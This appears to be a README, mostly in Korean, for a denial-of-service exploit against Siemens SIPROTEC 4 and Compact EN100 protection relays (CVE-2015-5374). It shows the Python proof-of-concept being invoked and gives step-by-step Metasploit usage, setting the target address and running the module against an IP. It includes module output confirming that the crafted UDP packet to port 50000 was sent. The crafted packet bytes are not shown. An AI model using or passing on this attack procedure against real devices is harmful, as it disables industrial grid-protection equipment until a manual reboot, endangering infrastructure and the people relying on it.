
CVE-2015-5374에 대한 DoS 익스플로잇으로, Siemens SIPROTEC 4 및 Compact EN100 이더넷 모듈을 포트 50000으로 전송되는 조작된 UDP 패킷을 통해 공격하며, 포함된 Metasploit 보조 모듈을 사용합니다.
이 코드는 포트 50000/UDP로 특수하게 조작된 패킷을 전송하여 영향을 받는 장치의 서비스 거부를 유발할 수 있습니다. 장치를 다시 서비스 상태로 복구하려면 수동 재부팅이 필요합니다. 이 취약점에는 CVE-2015-5374 및 CVSS v2 기본 점수 7.8이 할당되었습니다.
can@exploit:~/siprotec_dos_poc$ python Siemens_SIPROTEC_DoS.py <target>
CVE-2015-5374 Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module < V4.25 - Denial of Service
Sending packet to <target> ...
Done, say goodbye!
이 모듈은 포트 50000/UDP로 특수하게 조작된 패킷을 전송하여 영향을 받는 장치의 서비스 거부를 유발할 수 있습니다. 장치를 다시 서비스 상태로 복구하려면 수동 재부팅이 필요합니다.
use auxiliary/dos/scada/siemens_siprotec4set RHOST [Target IP], [Target IP]를 공격하려는 IP 주소로 바꿉니다.runset RHOST [Target IP], set RPORT [Target Port (Default 50000)].
msf auxiliary(siemens_siprotec4) > info
Name: Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module < V4.25 - Denial of Service
Module: auxiliary/dos/scada/siemens_siprotec4
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
M. Can Kurnaz
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 50000 yes The target port (UDP)
Description:
This module sends a specially crafted packet to port 50000/UDP
causing a denial of service of the affected (Siemens SIPROTEC 4 and
SIPROTEC Compact) devices. A manual reboot is required to return the
device to service. CVE-2015-5374 and a CVSS v2 base score of 7.8
have been assigned to this vulnerability.
References:
https://www.exploit-db.com/exploits/44103/
https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01
msf auxiliary(siemens_siprotec4) > show options
Module options (auxiliary/dos/scada/siemens_siprotec4):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 50000 yes The target port (UDP)
msf auxiliary(siemens_siprotec4) > set rhost 192.168.1.61
rhost => 192.168.1.61
msf auxiliary(siemens_siprotec4) > run
[*] Sending DoS packet ...
[*] Auxiliary module execution completed
msf auxiliary(siemens_siprotec4) >